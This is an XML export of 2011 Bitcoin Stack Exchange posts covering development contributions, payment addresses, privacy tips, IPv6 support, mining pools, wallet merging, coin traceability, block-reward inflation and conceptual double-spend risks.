  <row Id="436" PostTypeId="2" ParentId="228" CreationDate="2011-09-02T13:31:30.970" Score="9" Body="&lt;p&gt;&lt;strong&gt;As a Programmer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can contribute by acquiring the bitcoin source code at &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;.  Fixing bugs, adding features and creating a &quot;pull request&quot;.  Here are guidelines for creating &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4571.0&quot; rel=&quot;nofollow&quot;&gt;pull requests&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin Andresen, currently the lead developer of bitcoin, has &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8091.msg444668#msg444668&quot; rel=&quot;nofollow&quot;&gt;suggested&lt;/a&gt; that testing is a bottleneck, so it would be helpful to compile the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pulls&quot; rel=&quot;nofollow&quot;&gt;existing pull requests&lt;/a&gt; on github and test them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that it is possible to safely test bitcoin transactions without using real bitcoins by using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt; (see the -testnet command line option).  You can even create your own &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38562.msg474630#msg474630&quot; rel=&quot;nofollow&quot;&gt;self-contained testnet-in-a-box&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As a Non-Programmer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learn more about bitcoin. Try using them. Learn proper ways to secure them. When you become better versed in bitcoin technology help by explaining it to others.  If you have a business, experiment with accepting bitcoin. If you are a customer, ask if a business accepts bitcoin. Help to dispel the myths and misunderstandings of bitcoin whenever you talk about them. However, be careful to get your facts straight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have talents in other areas such as design, business, or blogging, etc. then look for ways to contribute using those skills. It has been suggested that the client needs better interface designs, businesses have expressed interest in advice on bitcoins, blogging can help address all the misinformation and rhetoric.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone has something they could contribute, so give it a try.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="7248" LastEditDate="2013-12-30T16:43:52.553" LastActivityDate="2013-12-30T16:43:52.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostTypeId="1" AcceptedAnswerId="438" CreationDate="2011-09-02T13:37:38.433" Score="11" ViewCount="755" Body="&lt;p&gt;Can I find out the address I am going send from before making a payment? And could this be useful for merchants that want to identify my transaction?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="81" LastEditDate="2011-09-02T19:46:04.537" LastActivityDate="2011-09-07T00:01:49.050" Title="How can I find out the address my payment will come from?" Tags="|commerce|address|payment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostTypeId="2" ParentId="437" CreationDate="2011-09-02T13:54:55.383" Score="7" Body="&lt;p&gt;The current client does not allow you to select a specific address to pay &lt;em&gt;from&lt;/em&gt;, and this would be ambiguous anyway because the payment may come from multiple addresses. So you don't know what addresses you are sending from until you make the payment.  It does, however, allow you to generate addresses to pay &lt;em&gt;to&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way a merchant usually associates transactions with a specific user or order is to generate a new unique payment address. Using the client, or the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot;&gt;json api&lt;/a&gt;, the merchant can easily see when the unique address receives the payment and then credit the users account appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what addresses you where paid from in the past then one way is to look up the transaction (most likely using the receiving address) at &lt;a href=&quot;http://blockexplorer.com/&quot;&gt;block explorer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2011-09-02T14:02:19.550" LastActivityDate="2011-09-02T14:02:19.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="439" PostTypeId="1" AcceptedAnswerId="442" CreationDate="2011-09-02T14:05:04.337" Score="35" ViewCount="6744" Body="&lt;p&gt;Bitcoin transactions &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/52/how-anonymous-are-bitcoin-transactions/61#61&quot;&gt;are pseudo-anonymous&lt;/a&gt;. What can an individual that uses Bitcoin do in order to remain as anonymous as possible?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2017-05-08T08:52:22.290" Title="How can one remain relatively anonymous while using Bitcoin?" Tags="|privacy|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="440" PostTypeId="2" ParentId="439" CreationDate="2011-09-02T14:11:10.817" Score="13" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; whenever connecting to the Bitcoin network or to exchange sites.&lt;/li&gt;&#xA;&lt;li&gt;Never publish one of your Bitcoin address publically (e.g. in a signature or blog). If you do, and someone actually sends money to this address, you run the risk of them being able to identify your other addresses and monitoring every transaction your make via &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;Block Explorer&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Any Bitcoins that you want to keep truely anonymous should be managed via a dedicated account, and never linked on the internet to your name. E.g. if you buy some Bitcoin through Mt. Gox, this can theoretically be traced to you by law enforcement agencies if they can correlate the money transfer you made to Mt. Gox with the funds transfer (assuming they get access to Mt. Gox logs).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A simple way to remain truly anonymous is buying bitcoin in exchange for cash (e.g. through &lt;a href=&quot;https://www.localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Local Bitcoins&lt;/a&gt;) and moving them to an address you will only access through Tor.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-09-03T14:54:58.517" LastActivityDate="2012-09-03T14:54:58.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostTypeId="1" AcceptedAnswerId="443" CreationDate="2011-09-02T14:12:23.717" Score="17" ViewCount="591" Body="&lt;p&gt;What is the current status of IPv6 support?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I gathered reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot;&gt;the Wiki&lt;/a&gt;, protocol specifications support IPv6, but the original client does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also came across the description of Bitcoins.lc, who claim &quot;full IPv6 support&quot;.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2012-05-22T23:31:21.043" Title="IPv6 support status" Tags="|development|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostTypeId="2" ParentId="439" CreationDate="2011-09-02T14:15:13.087" Score="30" Body="&lt;ol&gt;&#xA;&lt;li&gt;Don't publicly disclose any address in your wallet, or associate any address with your true identity.&lt;/li&gt;&#xA;&lt;li&gt;Use currency exchanges to break the 'money trail' of bitcoin addresses associated with you.*&lt;/li&gt;&#xA;&lt;li&gt;Use anonymizing services such as TOR when conducting business.&lt;/li&gt;&#xA;&lt;li&gt;Break up your transactions between online and offline (person to person) transactions.&lt;/li&gt;&#xA;&lt;li&gt;Buy bitcoins for cash.&lt;/li&gt;&#xA;&lt;li&gt;Mine bitcoins yourself either directly (solo), or with pools such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Eligius&quot;&gt;Eligius&lt;/a&gt; that do not require registration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*If you transfer bitcoins into a large currency exchange or other large private repository of bitcoins, then pay bitcoin back out to a new address that is not associated with you it is difficult (without a warrant) to track the bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="44" LastEditDate="2011-09-08T18:18:26.957" LastActivityDate="2011-09-08T18:18:26.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="443" PostTypeId="2" ParentId="441" CreationDate="2011-09-02T15:22:18.423" Score="10" Body="&lt;p&gt;The standard Bitcoin client does not at this time support IPv6. Bitcoins.lc is a mining pool, and mining pools work by having an interface (such as PushPool) visible to the public which handles all the getwork stuff and various internals, miner tracking etc. This interface operates as a proxy to the actual bitcoin client and so the client itself can bind to an IPv4 address which is local relative to the mining interface which can have full IPv6 support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it is not the bitcoin client which bitcoins.lc is claiming IPv6 support for, but the proxy to which pooled miners connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;It looks like &lt;a href=&quot;https://github.com/sipa&quot; rel=&quot;nofollow&quot;&gt;sipa&lt;/a&gt; has &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/427&quot; rel=&quot;nofollow&quot;&gt;submitted the necessary code&lt;/a&gt;. According to &lt;a href=&quot;https://github.com/TheBlueMatt&quot; rel=&quot;nofollow&quot;&gt;TheBlueMatt&lt;/a&gt;, there is &quot;some alternate connection logic and anti-DDoS stuff wrt filling addr.dat on IRC&quot; that needs to be done first. In any case the code is out there so it shouldn't be long now until it finds its way into the official client.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;IPv6 support was merged into the mainstream client and should be available in the 0.7.0 build.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-05-22T23:31:21.043" LastActivityDate="2012-05-22T23:31:21.043" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostTypeId="2" ParentId="370" CreationDate="2011-09-02T15:43:57.293" Score="3" Body="&lt;p&gt;It's a common misunderstanding that score based reward systems like Slush's underpay infrequent miners.  While it's true that shares in a given round devalue if you mine towards the beginning of a round and then leave long before it finishes, you have to also take into account the fact that the length of a round is random.  So you have equal chances of arriving late in a round and having your shares worth more than they would have been by straight proportion, or starting out a round and having it find a block right at the beginning (making each share worth a lot more because there were fewer of them).  In the long run, these all average out perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only circumstance in which you will be receiving less from a score based pool is if you &lt;strong&gt;consistently&lt;/strong&gt; start out rounds but then switch to other pools when the rounds &quot;take too long&quot; for your liking.  You &lt;em&gt;can't&lt;/em&gt; do this by accident.  It's a specific attack that we identified and analysed back in January, and unless you specifically program a miner that does this it's not going to happen consistently by random chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;strong&gt;there is a slight difference with the score based system for very low-capacity, infrequent miners&lt;/strong&gt;:  increased variance in your payouts.  Sometimes they will be bigger than normal, and sometimes smaller.  Mathematically, it all ends up coming down to the fee you pay, but psychologically this might be hard to take as sometimes you will feel ripped off, while you might not notice that you also get lucky just as much.  So it might be easier on your brain to go with a pay-per-share system or similar, it just won't be easier on your pocketbook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest underlying problem with this is that &lt;strong&gt;you probably shouldn't be mining at all&lt;/strong&gt;.  Even if you only use it when your computer is on anyways, &lt;strong&gt;a 5670 almost certainly draws more power when mining than you earn back in bitcoins&lt;/strong&gt;, unless you're paying &lt;strong&gt;very&lt;/strong&gt; low electricity prices (5 cents or less per kilowatt-hour) or using someone else's electricity (in which case all you're doing is taking money from them, not earning it).  Probably it's time to leave the mining to high-efficiency rigs located in very low-cost electricity zones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a complete analysis of different mining pool schemes, Meni Rosenfeld has &lt;a href=&quot;https://bitcointalk.org/index.php?topic=32814.msg514296#msg514296&quot; rel=&quot;nofollow&quot;&gt;written&lt;/a&gt; an excellent &lt;a href=&quot;https://bitcoil.co.il/pool_summary.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-08T13:41:14.697" LastActivityDate="2011-09-08T13:41:14.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostTypeId="1" AcceptedAnswerId="449" CreationDate="2011-09-02T15:58:29.657" Score="25" ViewCount="29311" Body="&lt;p&gt;Is there some relatively simple (and preferably free/open-source) solution for starting my own mining pool? How close to &quot;turnkey&quot; would such a solution be and with pool operators mostly running at 0% fees and living on transaction fees, is it even worth my time any more?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-01-21T14:23:39.793" LastActivityDate="2016-01-21T14:23:39.793" Title="How can I start my own mining pool?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostTypeId="1" AcceptedAnswerId="448" CreationDate="2011-09-02T16:05:31.177" Score="28" ViewCount="9276" Body="&lt;p&gt;I've got one wallet.dat from my laptop and another on my desktop, each containing various (different) receiving addresses that I use pretty often. I'd like to merge them into a single wallet.dat so I can see all my balances in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't some piece of software that can truly &quot;merge&quot; the two, is there some way to at least export an address/keypair from one wallet and then import it into the other?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="55" LastEditDate="2011-09-02T22:12:17.037" LastActivityDate="2011-11-13T20:39:08.103" Title="Is there some way to merge two wallets or to import/export addresses?" Tags="|transactions|wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="448" PostTypeId="2" ParentId="447" CreationDate="2011-09-02T16:15:34.467" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt; is a python script that (among a number of other things) can export and import key pairs. It's not as complicated to use as it might sound, some python stuff has to be installed but that's almost automatic and once it is done the tasks can be performed using a web interface. From the linked forum post (updated 8/23/11):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently you can:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Dump your wallet, see your pubkeys, privkeys, their labels, etc&lt;/li&gt;&#xA;  &lt;li&gt;Dump your transactions to a json file&lt;/li&gt;&#xA;  &lt;li&gt;Import a key/address into your wallet, with a label, or as a&#xA;  reserve key&lt;/li&gt;&#xA;  &lt;li&gt;Import a transaction into your wallet&lt;/li&gt;&#xA;  &lt;li&gt;Import transactions from a json file&lt;/li&gt;&#xA;  &lt;li&gt;Delete addresses from your wallet&lt;/li&gt;&#xA;  &lt;li&gt;Delete transactions from your wallet&lt;/li&gt;&#xA;  &lt;li&gt;Get info about a privkey, i.e. see address, base58 privkey,&#xA;  hexprivkey, pubkey and hash160, using the network you want&lt;/li&gt;&#xA;  &lt;li&gt;Sign and verify string, files, and binary string&lt;/li&gt;&#xA;  &lt;li&gt;Read a device to find deleted keys (CLI only)&lt;/li&gt;&#xA;  &lt;li&gt;Print the balance of a bitcoin address, read from blockexplorer&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-02T16:39:40.807" LastActivityDate="2011-09-02T16:39:40.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="449" PostTypeId="2" ParentId="446" CreationDate="2011-09-02T16:22:52.357" Score="11" Body="&lt;p&gt;There is P2Pool and Pushpool being the two options to get your own pool running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These provide the backend services, the GUI must be built by yourself with any features you may wish to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former is almost unused at this time, although considered to be more resilent to attacks (such as DDOS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to consider running a pool the requirement of a very high bandwidth server is needed as it consists of using a LOT of traffic (depending where your located this may be VERY difficult to find)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building a user base may be difficult but with merged mining it may increase profit for running such an enterprise.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-02T16:22:52.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="450" PostTypeId="1" AcceptedAnswerId="454" CreationDate="2011-09-02T16:47:14.883" Score="52" ViewCount="12873" Body="&lt;p&gt;For example, if I wanted to &quot;collect&quot; important bitcoins is there any way to track a coin rather than a series of transactions? If I wanted one of the bitcoins from the infamous &quot;&lt;a href=&quot;http://bitcointalk.org/?topic=137.0&quot;&gt;Bitcoin pizza&lt;/a&gt;&quot; purchase, for example, is there any way to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the question I &lt;em&gt;should&lt;/em&gt; be asking is more like &quot;Do bitcoins themselves even exist or just the records of transactions?&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-04T07:35:41.227" LastActivityDate="2024-02-28T06:15:19.610" Title="Is there any way to track an individual bitcoin (or satoshi)?" Tags="|transactions|protocol|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostTypeId="2" ParentId="447" CreationDate="2011-09-02T16:47:18.237" Score="8" Body="&lt;p&gt;A patch for the bitcoin client for this:&#xA; - &lt;a href=&quot;http://github.com/bitcoin/bitcoin/pull/220&quot;&gt;http://github.com/bitcoin/bitcoin/pull/220&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T16:47:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostTypeId="2" ParentId="439" CreationDate="2011-09-02T16:53:47.803" Score="10" Body="&lt;p&gt;There is a patch that can be used to let you specify specifically which addresses to use for spending in a transaction.&#xA; - &lt;a href=&quot;http://github.com/bitcoin/bitcoin/pull/415&quot;&gt;http://github.com/bitcoin/bitcoin/pull/415&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T16:53:47.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="453" PostTypeId="2" ParentId="437" CreationDate="2011-09-02T16:55:50.390" Score="8" Body="&lt;p&gt;There is a patch for the client available to let you choose specifically which addresses to use when spending.&#xA; - &lt;a href=&quot;http://github.com/bitcoin/bitcoin/pull/415&quot;&gt;http://github.com/bitcoin/bitcoin/pull/415&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T16:55:50.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="454" PostTypeId="2" ParentId="450" CreationDate="2011-09-02T17:10:24.263" Score="44" Body="&lt;p&gt;Here is a possible schema describing transactions from two addresses &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; that contain initially 50 BTC each:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     (A) 50 btc --tx1-----------------------&amp;gt; 25 btc (C)&#xA;                   \&#xA;                    `-&amp;gt; 25 btc (D) --.&#xA;                                      \&#xA;                                       tx3--&amp;gt; 50 btc (*)&#xA;                                      /&#xA;                    .-&amp;gt; 25 btc (E) --'&#xA;                   /&#xA;     (B) 50 btc --tx2-----------------------&amp;gt; 25 btc (F)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are three transactions here, and they mention only values: those transactions are stored in the block chain like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;tx1&lt;/code&gt;: &lt;code&gt;(input on A: 50BTC; output on D: 25BTC, output on C: 25BTC)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tx2&lt;/code&gt;: &lt;code&gt;(input on B: 50BTC; output on E: 25BTC, output on F: 25BTC)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tx3&lt;/code&gt;: &lt;code&gt;(input on D: 25BTC,  input on E: 25BTC; output on *: 50BTC)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Only global amounts are involved, not individual &lt;em&gt;satoshis&lt;/em&gt;. Could you tell where each of the &lt;em&gt;satoshis&lt;/em&gt; in &lt;code&gt;*&lt;/code&gt; came from? &lt;code&gt;A&lt;/code&gt; or &lt;code&gt;B&lt;/code&gt;? Just impossible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; There is no such thing as individual &lt;em&gt;satoshis&lt;/em&gt;, they don't have identities in the Bitcoin framework.&lt;/p&gt;&#xA;&lt;p&gt;(And it's the same, or even worse, for &lt;em&gt;bitcoins&lt;/em&gt;. An individual &lt;em&gt;bitcoin&lt;/em&gt; is not well defined. It might be a grouping of smaller amounts in the same place (wallet), or at the same address, or in the same transaction, but &lt;strong&gt;at a given point in time&lt;/strong&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;It is however possible to track money flows between addresses, which may “dilute” into other flows, as illustrated &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2900/132&quot;&gt;in this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-11-25T12:40:49.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostTypeId="2" ParentId="428" CreationDate="2011-09-02T17:20:02.893" Score="1" Body="&lt;p&gt;For the next 14 months or so, until block 210,000 bitcoins are being issued at the rate of 7,200 per day roughly.  At current levels, the rate that the currency is being inflated is at about 36% on an annual basis.  At current exchange rates ($8.40 USD), the value of that is about $60,000 per day of currency issued.  Here's a post describing that with a little more detail: &lt;a href=&quot;http://www.bitcoinmoney.com/post/8627223073&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmoney.com/post/8627223073&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is more demand (either economic transactions using bitcoins or hoarding by miners and speculators) than this $60K then the price will rise.  If there is less than this $60K the price will drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after block 210,000 if the exchange rate is still $8.40 at that time, then only $30K per day will be issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is an already known fact and it may already be priced into the currency (i.e., it might be trading at less than it is now if that weren't already known).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bigger unknown is how much currency will be used in commerce at that time.  Will it just grow incrementally by tiny gains, or will adoption some day explode like some speculators and Bitcoin kool-aid drinkers (such as myself) believe will happen.  If it does, those who bought bitcoins at $8.40 will be seen as the &quot;lucky early adopters&quot;, much like those who asked the same question as you when the BTC/USD was about $0.30.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T17:20:02.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostTypeId="2" ParentId="423" CreationDate="2011-09-02T17:57:30.853" Score="6" Body="&lt;p&gt;Flattr recently added the ability to send a tip without being a subscriber, but they don't yet have the ability to receive a tip without losing a chunk of it to subscription fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solicit a tip in bitcoin, one merely needs to provide a Bitcoin address for the sender to use.  Because it is a direct transaction, there is no intermediary sucking fees from the transaction (except for the bitcoin transaction fees, which cost about penny at current levels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is just a subset of those doing exactly this:&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&quot;&gt;http://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the recipient doesn't already know of Bitcoin or doesn't accept bitcoins currently, two services can be used to give an amount that is held in escrow by the intermediary and the recipient then can claim the funds using the intermediary's web site.  This is something Flattr just recently added as well -- they refer to it as &quot;unclaimed things&quot;: &lt;a href=&quot;http://flattr.com/support/unclaimed&quot;&gt;http://flattr.com/support/unclaimed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two services that do this with bitcoins are:  &lt;a href=&quot;http://www.YouTipIt.org&quot;&gt;http://www.YouTipIt.org&lt;/a&gt; and &lt;a href=&quot;http://www.PayBitBack.com&quot;&gt;http://www.PayBitBack.com&lt;/a&gt;&#xA;YouTipIt lets you send a tip to any TipIt already registered on their site but also they offer the ability to send a tip to any Facebook user.  If the user is not already registered with YouTipIt, the funds will be held in escrow until they are claimed by the Facebook user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayBitBack follows the same concept except theirs is a Twitter based escrow system.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T17:57:30.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostTypeId="2" ParentId="337" CreationDate="2011-09-02T18:29:24.497" Score="1" Body="&lt;p&gt;None, but in order to instill trust with the traders getting a proper business license and showing and aptitude for Internet security will help.&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="26" LastEditDate="2011-09-02T23:20:40.220" LastActivityDate="2011-09-02T23:20:40.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="458" PostTypeId="2" ParentId="421" CreationDate="2011-09-02T18:37:44.483" Score="4" Body="&lt;p&gt;There are a number of attacks which have the potential to allow an attacker to double spend but none of them are successful when the recommended practice of accepting payment only when the transaction has six or more confirmations against it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if a merchant accepts payment immediately after 0/unconfirmed, a &quot;race attack&quot; can sometimes be successful at double spending by an unsophisticated attacker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there is the Finney attack which requires a little more effort (possible only when mining and has successfully solved a block). &lt;a href=&quot;http://en.bitcoin.it/wiki/Weaknesses#The_.22Finney.22_attack&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Weaknesses#The_.22Finney.22_attack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another attack that requires a little more sophistication where a merchant accepting even with 1/unconfirmed can easily find the funds lost due to a double spend: &lt;a href=&quot;http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are suggestions as to how most merchants can still accept payment immediately on 0/unconfirmed with minimal risk to a double spend occurring though they require some additional processes that have not yet been developed, tested and refined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there are other approaches to this problem so that there is no confirmation delays though their implementations are external and do not benefit from the decentralized architecture of Bitcoin (i.e., each requires trust given to some other party):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use some other ledger system or Open Transactions&lt;/li&gt;&#xA;&lt;li&gt;Use an intermediary e.g., Instawallet's Green Address: &lt;a href=&quot;http://bitcointalk.org/index.php?topic=32818.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=32818.0&lt;/a&gt; or Mt. Gox redeemable code (voucher).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-02T18:37:44.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="459" PostTypeId="2" ParentId="450" CreationDate="2011-09-02T18:56:35.360" Score="11" Body="&lt;p&gt;This is actually similar to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/181/can-bitcoins-be-counterfeited&quot;&gt;&quot;Can a bitcoin be counterfeited?&quot;&lt;/a&gt; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is no, because as you seemed to hint at, there is no such thing as a bitcoin. There is simply a transaction list, that has consensus around it, where no wallets are ever allowed to go negative.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-09-02T18:56:35.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="460" PostTypeId="1" AcceptedAnswerId="503" CreationDate="2011-09-02T19:14:48.930" Score="8" ViewCount="509" Body="&lt;p&gt;Is there any Drupal SCI for Bitcoin available? Either tied into Ubercart or, more preferably,  Drupal Commerce.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="105" LastEditDate="2011-09-04T08:38:35.923" LastActivityDate="2012-12-30T16:42:49.707" Title="Is there a Drupal shopping cart interface for Bitcoin?" Tags="|shopping-cart-interface|ecommerce|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
